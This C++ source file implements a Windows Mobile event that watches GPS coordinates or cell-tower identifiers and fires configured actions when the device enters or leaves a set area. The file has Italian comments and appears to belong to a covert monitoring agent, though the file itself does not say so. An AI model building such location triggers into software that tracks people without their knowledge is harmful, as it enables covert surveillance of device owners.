Mornella/Mornella_Mobile/Position.cpp
#include "Event.h"
#include "Common.h"
#include "Conf.h"
#include "Date.h"
#include "Log.h"
#include "Observer.h"
#include "Device.h"
#include "GPS.h"
#include "Ril.h"
#include "Cell.h"
// MANAGEMENT - Le coordinate vanno inserite in gradi decimali!!
DWORD WINAPI OnLocation(LPVOID lpParam) {
Event *me = (Event *)lpParam;
Configuration *conf;
HANDLE eventHandle;
int delay, iterations, curIterations = 0, curDelay = 0;
wstring type;
BOOL bLocation = FALSE;
eventHandle = me->getEvent();
me->setStatus(EVENT_RUNNING);
conf = me->getConf();
try {
type = conf->getString(L"type");
} catch (...) {
type = L"";
}
try {
iterations = conf->getInt(L"iter");
} catch (...) {
iterations = MAXINT;
}
try {
delay = conf->getInt(L"delay") * 1000;
} catch (...) {
delay = INFINITE;
}
if (type.empty()) {
me->setStatus(EVENT_STOPPED);
return 0;
}
if (type.compare(L"gps") == 0) {
DOUBLE latOrigin, lonOrigin, latActual, lonActual, distance, curDistance;
GPS *gpsObj = NULL;
GPS_POSITION gps;
try {
latOrigin = conf->getDouble(L"latitude");
} catch (...) {
latOrigin = 0.0f;
}
try {
lonOrigin = conf->getDouble(L"longitude");
} catch (...) {
lonOrigin = 0.0f;
}
try {
distance = conf->getDouble(L"distance");
} catch (...) {
distance = 1000.0f;
}
// E' singleton e non va distrutta
gpsObj = GPS::self(30000, 1000);
if (gpsObj == NULL) {
me->setStatus(EVENT_STOPPED);
return 0;
}
if (gpsObj->Start() == FALSE) {
me->setStatus(EVENT_STOPPED);
return 0;
}
latActual = 0.0f;
lonActual = 0.0f;
DBG_TRACE(L"Debug - Position.cpp - OnLocation event started\n", 5, FALSE);
LOOP {
if (gpsObj->getGPS(&gps)) {
// Scriviamo il tipo di struttura e poi i dati
DWORD dwFields = GPS_VALID_LATITUDE | GPS_VALID_LONGITUDE;
// Ok abbiamo una posizione valida, diamoci dentro con la geometria sferica
if ((gps.dwValidFields & dwFields) == dwFields && gps.FixType == GPS_FIX_3D) {
curDistance = gpsObj->VincentFormula(latOrigin, lonOrigin, gps.dblLatitude, gps.dblLongitude);
// Se la distance e' esattamente 0.0f allora la funzione non e' riuscita a
// convergere, percio' non abbiamo una stima attendibile
if (curDistance != 0.0f) {
if (curDistance <= distance) {
if (bLocation == FALSE) {
DBG_TRACE(L"Debug - Position.cpp - OnLocation event [IN action triggered]\n", 5, FALSE);
me->triggerStart(); // In position
bLocation = TRUE;
}
} else {
if (bLocation == TRUE) {
DBG_TRACE(L"Debug - Position.cpp - OnLocation event [OUT action triggered]\n", 5, FALSE);
me->triggerEnd(); // Out of position
bLocation = FALSE;
}
}
}
}
}
if (bLocation)
curDelay = delay;
else
curDelay = 30000;
WaitForSingleObject(eventHandle, curDelay);
if (me->shouldStop()) {
gpsObj->Stop();
DBG_TRACE(L"Debug - Position.cpp - Location Event is Closing\n", 1, FALSE);
me->setStatus(EVENT_STOPPED);
return 0;
}
if (bLocation && curIterations < iterations) {
me->triggerRepeat();
curIterations++;
}
}
} else {
Cell *cellObj = NULL;
RILCELLTOWERINFO rilCell;
DWORD dwMCC, dwMNC;
int country, network, area, id;
Device *deviceObj = Device::self();
// E' singleton e non va distrutta
cellObj = Cell::self(30000);
if (cellObj == NULL) {
me->setStatus(EVENT_STOPPED);
return 0;
}
if (cellObj->Start() == FALSE) {
me->setStatus(EVENT_STOPPED);
return 0;
}
deviceObj->RefreshData();
// Prendiamo il MCC ed il MNC
dwMCC = deviceObj->GetMobileCountryCode();
dwMNC = deviceObj->GetMobileNetworkCode();
try {
country = conf->getInt(L"country");
} catch (...) {
country = -1;
}
try {
network = conf->getInt(L"network");
} catch (...) {
network = -1;
}
try {
area = conf->getInt(L"area");
} catch (...) {
area = -1;
}
try {
id = conf->getInt(L"id");
} catch (...) {
id = -1;
}
LOOP {
if (cellObj->getCELL(&rilCell)) {
// Scriviamo il tipo di struttura e poi i dati
DWORD dwFields = RIL_PARAM_CTI_LOCATIONAREACODE | RIL_PARAM_CTI_CELLID;
// Se non abbiamo MCC e MNC, usiamo quelli che abbiamo derivato dall'IMSI
if (rilCell.dwMobileCountryCode == 0)
rilCell.dwMobileCountryCode = dwMCC;
if (rilCell.dwMobileNetworkCode == 0)
rilCell.dwMobileNetworkCode = dwMNC;
if ((rilCell.dwParams & dwFields) == dwFields) {
if (((rilCell.dwMobileCountryCode == country || country == -1) &&
(rilCell.dwMobileNetworkCode == network || network == -1) &&
(rilCell.dwLocationAreaCode == area || area == -1) &&
(rilCell.dwCellID == id || id == -1)) && bLocation == FALSE) {
bLocation = TRUE;
DBG_TRACE(L"Debug - Position.cpp - OnCellId event [IN action triggered]\n", 5, FALSE);
me->triggerStart();
}
if (((country != -1 && rilCell.dwMobileCountryCode != country) ||
(network != -1 && rilCell.dwMobileNetworkCode != network) ||
(area != -1 && rilCell.dwLocationAreaCode != area) ||
(id != -1 && rilCell.dwCellID != id)) && bLocation == TRUE) {
bLocation = FALSE;
DBG_TRACE(L"Debug - Position.cpp - OnCellId event [OUT action triggered]\n", 5, FALSE);
me->triggerEnd();
}
}
}
if (bLocation)
curDelay = delay;
else
curDelay = 30000;
WaitForSingleObject(eventHandle, curDelay);
if (me->shouldStop()) {
cellObj->Stop();
DBG_TRACE(L"Debug - Position.cpp - Location Event is Closing\n", 1, FALSE);
me->setStatus(EVENT_STOPPED);
return 0;
}
if (bLocation && curIterations < iterations) {
me->triggerRepeat();
curIterations++;
}
}
}
me->setStatus(EVENT_STOPPED);
return 0;
}